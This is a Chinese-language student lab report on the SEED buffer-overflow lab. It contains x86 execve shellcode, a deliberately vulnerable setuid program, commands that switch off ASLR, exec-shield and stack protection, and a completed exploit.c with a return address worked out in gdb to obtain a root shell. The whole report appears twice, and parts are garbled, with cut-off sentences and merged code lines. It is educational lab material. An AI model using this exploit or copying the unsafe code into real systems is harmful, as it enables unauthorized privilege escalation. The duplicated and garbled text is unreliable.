山东大学软件学院
网络攻防实验报告小组成员:李栋[1**********]7
王迎新
实验题目:
Buffer-Overflow Vulnerability Lab(缓冲区溢出漏洞实验)
实验目的:
The learning objective of this lab is for students to gain the first-hand experience on
buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into actions. (这个实验的目的是为了让学生获得有关缓冲区漏洞的一手体验,并将从课堂学习到的有关漏洞的只是付诸于实践。)
硬件环境:
CPU:IntelCore 2Quad
2.83GHz
内存:2.96GB
软件环境:
VMware 10
Windows 7
1.实验内容
Activities:Students are given a program that has the buffer-overflow problem, and they need to exploit the vulnerability to gain the root privilege. Moreover, students will experiment with several protection schemes that have been implemented in Linux, and evaluate their effectiveness. (学生被给一个有缓冲区溢出漏洞问题程序,需要利用这个漏洞去获得root 权限。此外,学生也将实验几个已经在linux 中应用的保护方案,并去评估他们的效果。)
2实验任务
2.1初始设置我们将攻击Fedora Linux 系统。
Fedora 里有三种保护机制使得缓冲区溢出攻击变得困难。首先,Fedora 使用执行屏蔽使得堆栈不被执行,因此,即使我们能够在堆栈里插入一个shell code 它也不能运行。第二,Fedora 使用地址空间随机机制使得开始地址的堆和栈随机,这使得猜测确切地址有了难度,而猜测地址是缓冲区溢出攻击的一个重要步骤。为了教学目的,本实验中,我们使用下面的命令禁用了这些功能:$su root
Password:(enterroot password)
#/sbin/sysctl-w kernel.exec-shield=0
#/sbin/sysctl-w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击及其它利用shell 程序的攻击,许多shell 程序在被调用时自动放弃它们的特权。因此,即你能欺骗一个Set-UID 程序调用一个shell ,也不能在这个shell 中保持权限。这个防护措施在/bin/bas在Fedora 中,/bin/sh实际是指向/bin/bash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell 程序(zsh )替/bin/bash。下面的指令描述了如何设置zsh 程序:
$su
Password:(enterroot password)
#wget ftp://rpmfind.net/linux/fedora/(continueon the next line)
core/4/i386/os/Fedora/RPMS/zsh-4.2.1-2.i386.rpm
#rpm -ivh zsh-4.2.1-2.i386.rpm
#cd /bin
#rm sh
#ln -s zsh sh
2.2Shellcode
在开始攻击之前,你需要一个Shellcode ,Shellcode 是登陆到shell 它必须被载入内存,那样我们才能强迫程序跳转到它。考虑以下程序:#include
int main() {
char *name[2];
name[0]=‘‘/bin/sh’’;
name[1]=NULL;
execve(name[0],name, NULL);
}
我们使用的shell code 是上述程序的汇编版。下面的程序显示了如何通过利用shell code 任意重写一个缓冲区登录shell ,请编译并运行以下代码,看shell 是否被调用。
/*call_shellcode.c*/
/*Aprogram that creates a file containing code for launching shell*/
#include
#include
const char code[
]=
"\x31\xc0"/*Line 1:xorl %eax,%eax*/
"\x50"/*Line 2:pushl %eax*/
"\x68""//sh"/*Line 3:pushl $0x68732f2f*/
"\x68""/bin"/*Line 4:pushl $0x6e69622f*/
"\x89\xe3"/*Line 5:movl %esp,%ebx*/
"\x50"/*Line 6:pushl %eax*/
"\x53"/*Line 7:pushl %ebx*/
"\x89\xe1"/*Line 8:movl %esp,%ecx*/
"\x99"/*Line 9:cdql */
"\xb0\x0b"/*Line 10:movb $0x0b,%al*/
"\xcd\x80"/*Line 11:int $0x80*/;intmain(intargc, char **argv){charbuf[sizeof(code)];strcpy(buf,code);((void(*)())buf)();
}
这段shellcode 的一些地方值得注意。首先,第三行将“//sh”而不是“/sh”推入栈,这是因为我们在这里需要一个32位的数字而“/sh”只有24位。幸运的是,“//”和“/”等价, 所以我们使用“//”对程序也没什么影响,而且起到补位作用。第二,在调用execve()之前,我们需要分别存储name[0](串地址),name (列地址)和NULL 至%ebx,%ecx,和%edx寄存器。第5将name[0]存储%ebx;第8行将name 存储到%ecx;第9行将%edx设为0;还有其它方法可以设%edx为0(如xorl %edx,%edx)。这里用的(cdql)指令只是较为简短。第三,当我们将%al设为11时调用了system callexecve(),并执行了“int $0x802.3有漏洞的程序
/*stack.c */
/*This program has a buffer overflow vulnerability. */
/*Our task is to exploit this vulnerability */
#include
#include
#include
int bof(char*str)
{
char buffer[12];
/*The following statement has a buffer overflow problem */
strcpy(buffer,str);
return 1;
}
int main(intargc, char **argv)
{
char str[517];
FILE *badfile;
badfile =fopen("badfile",
"r");
fread(str,sizeof(char),517, badfile);
bof(str);
printf("ReturnedProperly
\
n");
return 1;
}
编译以上易被攻击的程序并用setuid 机制设置其有效执行用户为root 。你可以通过用root 帐户编译并chmod 可执行到4755来实现:
$su root
Pasword (enterroot password)
#gcc -o stack stack.c
#chmod 4755stack
#exit
以上程序有一个缓冲区溢出漏洞。它一开始从一个叫“badfile ”的文件读了一个输入,然后将这个输入传递给了另一个bof()功能里的缓冲区。原始输入最大长度为517bytes ,然而bof()的长度仅为12bytes 。由于strcpy()不检查边界,将发生缓冲区溢出。由于此程序有效执行用户为root ,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得root shell 。应该注意到此程序是一个叫做“badfile ”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile ”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个root shell 。
2.4任务1:攻击漏洞
我们提供给你一段部分完成的攻击代码“exploit.c ”,这段代码的目的是为“badfile ”创建内容。代码中,shell code 已经给出,你需要完成其余部分。/*exploit.c */
/*A program that creates a file containing code for launching shell*/
#include
#include
#include
char shellcode[]=
"\x31\xc0"/*xorl %eax,%eax*/
"\x50"/*pushl %eax*/
"\x68""//sh"/*pushl $0x68732f2f*/
"\x68""/bin"/*pushl $0x6e69622f*/
"\x89\xe3"/*movl %esp,%ebx*/
"\x50"/*pushl %eax*/
"\x53"/*pushl %ebx*/
"\x89\xe1"/*movl %esp,%ecx*/
"\x99"/*cdql */
"\xb0\x0b"/*movb $0x0b,%al*/
"\xcd\x80"/*int $0x80
*/
;
void main(intargc, char **argv)
{
char buffer[517];
FILE *badfile;
/*Initialize buffer with 0x90(NOPinstruction) */
memset(&buffer,0x90, 517);
/*You need to fill the buffer with appropriate contents here */
/*Save the contents to the file "
badfile" */
badfile =fopen("./badfile","w");
fwrite(buffer,517, 1, badfile);
fclose(badfile);
}
完成以上程序后编译并运行,它将为“badfile ”生成内容。如果你的攻击正确实现,你将得到一个root shell:
$gcc -o exploit exploit.c
$./exploit//create the badfile
$./stack//launch the attack by running the vulnerable program
#
值得注意的是,尽管你获得了“#”提示符,真正的用户id 仍然是你自己(现在的有效用户id 是root ),你可以通过键入以下命令来检查:
#id
uid=(500)euid=0(root)
许多命令若被当成
Set-UID-root
进程来执行,将会与作为root 进程时有所不同,因为它们知道真正的用户id 并不是root 。为了解决这个问题,你可以运行以下程序将真正的用户id 变为root 通过这个方法,你将获得一个真正的root 进程。
void main()
{
setuid(0);
system("/bin/sh");
}
2.5任务2:/bin/bash中的保护
现在,我们让/bin/sh指回到
/bin/bash,然后进行和之前任务中同样的攻击。还能得到shell 吗?这个shell 是root shell 吗?发生了什么?在实验报告中描述你观察到的现象并解释。$su root
Password:(enterroot password)
#cd /bin
#rm sh
#ln -s bash sh //link /bin/shto /bin/bash
#exit
$./stack//launch the attack by running the vulnerable program
有办法可以避开这个保护策略,你需要修改shell code. 对这一攻击我们将给予10分的奖励。提示:尽管/bin/bash对运行Set-UID 程序有限制,它确实允许真正的root 运行shells 的。因此,如果你可以在调用/bin/bash之前将当前Set-UID 程序变为一个真正的root 进程,你便可以逃脱bash 的限制。可以使用系统调用setuid()来完成。
2.6任务3:地址随机化
现在,让我们打开Fedora 的地址随机化。我们进行与任务1中同样的攻击,你能得到shell 吗?如果不能,问题出在哪里?地址随机化是怎样使你的攻击变得困难的?在实验报告中描述你观察到的现象并解释。你可以使用以下指令打开地址随机化:
$su root
Password:(enterroot password)
#/sbin/sysctl-w kernel.exec-shield=0
#/sbin/sysctl-w kernel.randomize_va_space=1
2.7任务4:执行屏蔽的栈
Fedora 允许root 对栈实行执行屏蔽,你可以使用以下命令来实现(再次将地址随机化关闭)。你还能再进行与任务1中同样的攻击吗?请在实验报告中说明你所观察到的现象并证明。
$su root
Password:(enterroot password)
#/sbin/sysctl-w kernel.exec-shield=1
#/sbin/sysctl-wkernel.randomize_va_space=0
执行屏蔽栈只是禁止了在栈上运行shell code ,但是它并没有阻止缓冲区溢出攻击,因为当一个缓冲区溢出漏洞被利用后,还有别的办法可以运行恶意代码。return-to-libc 攻击就是一个例子。我们为此设计了一个单独的实验,如果你感兴趣,可以看我们的return-to-libc 攻击实验了解详情。
三、实验步骤
3.1初始设置
Ubuntu 和其他一些Linux 系统中,使用地址空间随机化来随机堆(heap )和栈(stack )的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击及其它利用shell 程序的攻击,许多shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID 程序调用一个shell ,也不能在这个shell 中保持root 权限,这个防护措施在/bin/bash中实现。
linux 系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell 程序(zsh )代替/bin/bash。下面的指令描述了如何设置zsh 程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
Exit
3.2shellcode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是
shellcode 。
观察以下代码:
#include
int main() {
char *name[2];
name[0]=‘‘/bin/sh’’;
name[1]=NULL;
execve(name[0],name, NULL);
}
本次实验的shellcode ,就是刚才代码的汇编版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3漏洞程序
把以下代码保存为“stack.c ”文件,保存到/tmp目录下。代码如下:/*stack.c */
/*This program has a buffer overflow vulnerability. */
/*Our task is to exploit this vulnerability */
#include
#include
#include
int bof(char*str){
char buffer[12];
/*The following statement has a buffer overflow problem */
strcpy(buffer,str);
return 1;
}
int main(intargc, char **argv){
char str[517];
FILE *badfile;
badfile =fopen("badfile","r");
fread(str,sizeof(char),517, badfile);
bof(str);
printf("ReturnedProperly\n");
}
通过代码可以知道,程序会读取一个名为“badfile ”的文件,并将文件内容装入“buffer ”。
编译该程序,并设置SET-UID 。命令如下:
sudo su
gcc -m32-g -z execstack -fno-stack-protector -o stack stack.c
chmod u+sstack
Exit
GCC 编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用–fno-stack-protector 关闭这种机制。
而-z execstack 用于允许执行栈。
3.4攻击程序
我们的目的是攻击刚才的漏洞程序,并通过攻击获得root 权限。
把以下代码保存为“exploit.c ”文件,保存到/tmp目录下。代码如下:/*exploit.c */
/*A program that creates a file containing code for launching shell*/
#include
#include
#include
char shellcode[]=
"\x31\xc0"//xorl%eax,%eax
"\x50"//pushl%eax
"\x68""//sh"//pushl$0x68732f2f
"\x68""/bin"//pushl$0x6e69622f
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"//movl%esp,%ebx//pushl%eax//pushl%ebx//movl%esp,%ecx//cdq//movb$0x0b,%al//int$0x80;
void main(intargc, char **argv){
char buffer[517];
FILE *badfile;
/*Initialize buffer with 0x90(NOPinstruction) */
memset(&buffer,0x90, 517);
/*You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/*Save the contents to the file "badfile" */
badfile =fopen("./badfile","w");
fwrite(buffer,517, 1, badfile);
fclose(badfile);
}
注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
shellcode 保存在buffer+100而strcpy(buffer+100,shellcode);这一句又告诉我们,
的位置。
现在我们要得到shellcode 在内存中的地址,输入命令:
gdb stack
disass main
结果如图:
接下来的操作:
根据语句strcpy(buffer+100,shellcode);我们计算shellcode 的地址为0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)
现在修改exploit.c 文件!将\x??\x??\x??\x??修改为\x14\xd2\xff\xff然后,编译exploit.c 程序:
gcc -m32-o exploit exploit.c
3.5攻击结果
先运行攻击程序exploit ,再运行漏洞程序stack ,观察结果:
可见,通过攻击,获得了root 权限!
如果不能攻击成功,提示”段错误“,那么请重新使用gdb 反汇编,计算内存地址。
结论分析与体会:
缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
我们根据这个网址(http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/)的要求,安装虚拟机,配置文件,参考实验指导书,并进行了小组的讨论。最后成功的利用了缓冲区溢出的漏洞获得了root 权限。
山东大学软件学院
网络攻防实验报告小组成员:李栋[1**********]7
王迎新
实验题目:
Buffer-Overflow Vulnerability Lab(缓冲区溢出漏洞实验)
实验目的:
The learning objective of this lab is for students to gain the first-hand experience on
buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into actions. (这个实验的目的是为了让学生获得有关缓冲区漏洞的一手体验,并将从课堂学习到的有关漏洞的只是付诸于实践。)
硬件环境:
CPU:IntelCore 2Quad
2.83GHz
内存:2.96GB
软件环境:
VMware 10
Windows 7
1.实验内容
Activities:Students are given a program that has the buffer-overflow problem, and they need to exploit the vulnerability to gain the root privilege. Moreover, students will experiment with several protection schemes that have been implemented in Linux, and evaluate their effectiveness. (学生被给一个有缓冲区溢出漏洞问题程序,需要利用这个漏洞去获得root 权限。此外,学生也将实验几个已经在linux 中应用的保护方案,并去评估他们的效果。)
2实验任务
2.1初始设置我们将攻击Fedora Linux 系统。
Fedora 里有三种保护机制使得缓冲区溢出攻击变得困难。首先,Fedora 使用执行屏蔽使得堆栈不被执行,因此,即使我们能够在堆栈里插入一个shell code 它也不能运行。第二,Fedora 使用地址空间随机机制使得开始地址的堆和栈随机,这使得猜测确切地址有了难度,而猜测地址是缓冲区溢出攻击的一个重要步骤。为了教学目的,本实验中,我们使用下面的命令禁用了这些功能:$su root
Password:(enterroot password)
#/sbin/sysctl-w kernel.exec-shield=0
#/sbin/sysctl-w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击及其它利用shell 程序的攻击,许多shell 程序在被调用时自动放弃它们的特权。因此,即你能欺骗一个Set-UID 程序调用一个shell ,也不能在这个shell 中保持权限。这个防护措施在/bin/bas在Fedora 中,/bin/sh实际是指向/bin/bash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell 程序(zsh )替/bin/bash。下面的指令描述了如何设置zsh 程序:
$su
Password:(enterroot password)
#wget ftp://rpmfind.net/linux/fedora/(continueon the next line)
core/4/i386/os/Fedora/RPMS/zsh-4.2.1-2.i386.rpm
#rpm -ivh zsh-4.2.1-2.i386.rpm
#cd /bin
#rm sh
#ln -s zsh sh
2.2Shellcode
在开始攻击之前,你需要一个Shellcode ,Shellcode 是登陆到shell 它必须被载入内存,那样我们才能强迫程序跳转到它。考虑以下程序:#include
int main() {
char *name[2];
name[0]=‘‘/bin/sh’’;
name[1]=NULL;
execve(name[0],name, NULL);
}
我们使用的shell code 是上述程序的汇编版。下面的程序显示了如何通过利用shell code 任意重写一个缓冲区登录shell ,请编译并运行以下代码,看shell 是否被调用。
/*call_shellcode.c*/
/*Aprogram that creates a file containing code for launching shell*/
#include
#include
const char code[
]=
"\x31\xc0"/*Line 1:xorl %eax,%eax*/
"\x50"/*Line 2:pushl %eax*/
"\x68""//sh"/*Line 3:pushl $0x68732f2f*/
"\x68""/bin"/*Line 4:pushl $0x6e69622f*/
"\x89\xe3"/*Line 5:movl %esp,%ebx*/
"\x50"/*Line 6:pushl %eax*/
"\x53"/*Line 7:pushl %ebx*/
"\x89\xe1"/*Line 8:movl %esp,%ecx*/
"\x99"/*Line 9:cdql */
"\xb0\x0b"/*Line 10:movb $0x0b,%al*/
"\xcd\x80"/*Line 11:int $0x80*/;intmain(intargc, char **argv){charbuf[sizeof(code)];strcpy(buf,code);((void(*)())buf)();
}
这段shellcode 的一些地方值得注意。首先,第三行将“//sh”而不是“/sh”推入栈,这是因为我们在这里需要一个32位的数字而“/sh”只有24位。幸运的是,“//”和“/”等价, 所以我们使用“//”对程序也没什么影响,而且起到补位作用。第二,在调用execve()之前,我们需要分别存储name[0](串地址),name (列地址)和NULL 至%ebx,%ecx,和%edx寄存器。第5将name[0]存储%ebx;第8行将name 存储到%ecx;第9行将%edx设为0;还有其它方法可以设%edx为0(如xorl %edx,%edx)。这里用的(cdql)指令只是较为简短。第三,当我们将%al设为11时调用了system callexecve(),并执行了“int $0x802.3有漏洞的程序
/*stack.c */
/*This program has a buffer overflow vulnerability. */
/*Our task is to exploit this vulnerability */
#include
#include
#include
int bof(char*str)
{
char buffer[12];
/*The following statement has a buffer overflow problem */
strcpy(buffer,str);
return 1;
}
int main(intargc, char **argv)
{
char str[517];
FILE *badfile;
badfile =fopen("badfile",
"r");
fread(str,sizeof(char),517, badfile);
bof(str);
printf("ReturnedProperly
\
n");
return 1;
}
编译以上易被攻击的程序并用setuid 机制设置其有效执行用户为root 。你可以通过用root 帐户编译并chmod 可执行到4755来实现:
$su root
Pasword (enterroot password)
#gcc -o stack stack.c
#chmod 4755stack
#exit
以上程序有一个缓冲区溢出漏洞。它一开始从一个叫“badfile ”的文件读了一个输入,然后将这个输入传递给了另一个bof()功能里的缓冲区。原始输入最大长度为517bytes ,然而bof()的长度仅为12bytes 。由于strcpy()不检查边界,将发生缓冲区溢出。由于此程序有效执行用户为root ,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得root shell 。应该注意到此程序是一个叫做“badfile ”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile ”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个root shell 。
2.4任务1:攻击漏洞
我们提供给你一段部分完成的攻击代码“exploit.c ”,这段代码的目的是为“badfile ”创建内容。代码中,shell code 已经给出,你需要完成其余部分。/*exploit.c */
/*A program that creates a file containing code for launching shell*/
#include
#include
#include
char shellcode[]=
"\x31\xc0"/*xorl %eax,%eax*/
"\x50"/*pushl %eax*/
"\x68""//sh"/*pushl $0x68732f2f*/
"\x68""/bin"/*pushl $0x6e69622f*/
"\x89\xe3"/*movl %esp,%ebx*/
"\x50"/*pushl %eax*/
"\x53"/*pushl %ebx*/
"\x89\xe1"/*movl %esp,%ecx*/
"\x99"/*cdql */
"\xb0\x0b"/*movb $0x0b,%al*/
"\xcd\x80"/*int $0x80
*/
;
void main(intargc, char **argv)
{
char buffer[517];
FILE *badfile;
/*Initialize buffer with 0x90(NOPinstruction) */
memset(&buffer,0x90, 517);
/*You need to fill the buffer with appropriate contents here */
/*Save the contents to the file "
badfile" */
badfile =fopen("./badfile","w");
fwrite(buffer,517, 1, badfile);
fclose(badfile);
}
完成以上程序后编译并运行,它将为“badfile ”生成内容。如果你的攻击正确实现,你将得到一个root shell:
$gcc -o exploit exploit.c
$./exploit//create the badfile
$./stack//launch the attack by running the vulnerable program
#
值得注意的是,尽管你获得了“#”提示符,真正的用户id 仍然是你自己(现在的有效用户id 是root ),你可以通过键入以下命令来检查:
#id
uid=(500)euid=0(root)
许多命令若被当成
Set-UID-root
进程来执行,将会与作为root 进程时有所不同,因为它们知道真正的用户id 并不是root 。为了解决这个问题,你可以运行以下程序将真正的用户id 变为root 通过这个方法,你将获得一个真正的root 进程。
void main()
{
setuid(0);
system("/bin/sh");
}
2.5任务2:/bin/bash中的保护
现在,我们让/bin/sh指回到
/bin/bash,然后进行和之前任务中同样的攻击。还能得到shell 吗?这个shell 是root shell 吗?发生了什么?在实验报告中描述你观察到的现象并解释。$su root
Password:(enterroot password)
#cd /bin
#rm sh
#ln -s bash sh //link /bin/shto /bin/bash
#exit
$./stack//launch the attack by running the vulnerable program
有办法可以避开这个保护策略,你需要修改shell code. 对这一攻击我们将给予10分的奖励。提示:尽管/bin/bash对运行Set-UID 程序有限制,它确实允许真正的root 运行shells 的。因此,如果你可以在调用/bin/bash之前将当前Set-UID 程序变为一个真正的root 进程,你便可以逃脱bash 的限制。可以使用系统调用setuid()来完成。
2.6任务3:地址随机化
现在,让我们打开Fedora 的地址随机化。我们进行与任务1中同样的攻击,你能得到shell 吗?如果不能,问题出在哪里?地址随机化是怎样使你的攻击变得困难的?在实验报告中描述你观察到的现象并解释。你可以使用以下指令打开地址随机化:
$su root
Password:(enterroot password)
#/sbin/sysctl-w kernel.exec-shield=0
#/sbin/sysctl-w kernel.randomize_va_space=1
2.7任务4:执行屏蔽的栈
Fedora 允许root 对栈实行执行屏蔽,你可以使用以下命令来实现(再次将地址随机化关闭)。你还能再进行与任务1中同样的攻击吗?请在实验报告中说明你所观察到的现象并证明。
$su root
Password:(enterroot password)
#/sbin/sysctl-w kernel.exec-shield=1
#/sbin/sysctl-wkernel.randomize_va_space=0
执行屏蔽栈只是禁止了在栈上运行shell code ,但是它并没有阻止缓冲区溢出攻击,因为当一个缓冲区溢出漏洞被利用后,还有别的办法可以运行恶意代码。return-to-libc 攻击就是一个例子。我们为此设计了一个单独的实验,如果你感兴趣,可以看我们的return-to-libc 攻击实验了解详情。
三、实验步骤
3.1初始设置
Ubuntu 和其他一些Linux 系统中,使用地址空间随机化来随机堆(heap )和栈(stack )的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击及其它利用shell 程序的攻击,许多shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID 程序调用一个shell ,也不能在这个shell 中保持root 权限,这个防护措施在/bin/bash中实现。
linux 系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell 程序(zsh )代替/bin/bash。下面的指令描述了如何设置zsh 程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
Exit
3.2shellcode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是
shellcode 。
观察以下代码:
#include
int main() {
char *name[2];
name[0]=‘‘/bin/sh’’;
name[1]=NULL;
execve(name[0],name, NULL);
}
本次实验的shellcode ,就是刚才代码的汇编版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3漏洞程序
把以下代码保存为“stack.c ”文件,保存到/tmp目录下。代码如下:/*stack.c */
/*This program has a buffer overflow vulnerability. */
/*Our task is to exploit this vulnerability */
#include
#include
#include
int bof(char*str){
char buffer[12];
/*The following statement has a buffer overflow problem */
strcpy(buffer,str);
return 1;
}
int main(intargc, char **argv){
char str[517];
FILE *badfile;
badfile =fopen("badfile","r");
fread(str,sizeof(char),517, badfile);
bof(str);
printf("ReturnedProperly\n");
}
通过代码可以知道,程序会读取一个名为“badfile ”的文件,并将文件内容装入“buffer ”。
编译该程序,并设置SET-UID 。命令如下:
sudo su
gcc -m32-g -z execstack -fno-stack-protector -o stack stack.c
chmod u+sstack
Exit
GCC 编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用–fno-stack-protector 关闭这种机制。
而-z execstack 用于允许执行栈。
3.4攻击程序
我们的目的是攻击刚才的漏洞程序,并通过攻击获得root 权限。
把以下代码保存为“exploit.c ”文件,保存到/tmp目录下。代码如下:/*exploit.c */
/*A program that creates a file containing code for launching shell*/
#include
#include
#include
char shellcode[]=
"\x31\xc0"//xorl%eax,%eax
"\x50"//pushl%eax
"\x68""//sh"//pushl$0x68732f2f
"\x68""/bin"//pushl$0x6e69622f
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"//movl%esp,%ebx//pushl%eax//pushl%ebx//movl%esp,%ecx//cdq//movb$0x0b,%al//int$0x80;
void main(intargc, char **argv){
char buffer[517];
FILE *badfile;
/*Initialize buffer with 0x90(NOPinstruction) */
memset(&buffer,0x90, 517);
/*You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/*Save the contents to the file "badfile" */
badfile =fopen("./badfile","w");
fwrite(buffer,517, 1, badfile);
fclose(badfile);
}
注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
shellcode 保存在buffer+100而strcpy(buffer+100,shellcode);这一句又告诉我们,
的位置。
现在我们要得到shellcode 在内存中的地址,输入命令:
gdb stack
disass main
结果如图:
接下来的操作:
根据语句strcpy(buffer+100,shellcode);我们计算shellcode 的地址为0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)
现在修改exploit.c 文件!将\x??\x??\x??\x??修改为\x14\xd2\xff\xff然后,编译exploit.c 程序:
gcc -m32-o exploit exploit.c
3.5攻击结果
先运行攻击程序exploit ,再运行漏洞程序stack ,观察结果:
可见,通过攻击,获得了root 权限!
如果不能攻击成功,提示”段错误“,那么请重新使用gdb 反汇编,计算内存地址。
结论分析与体会:
缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
我们根据这个网址(http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/)的要求,安装虚拟机,配置文件,参考实验指导书,并进行了小组的讨论。最后成功的利用了缓冲区溢出的漏洞获得了root 权限。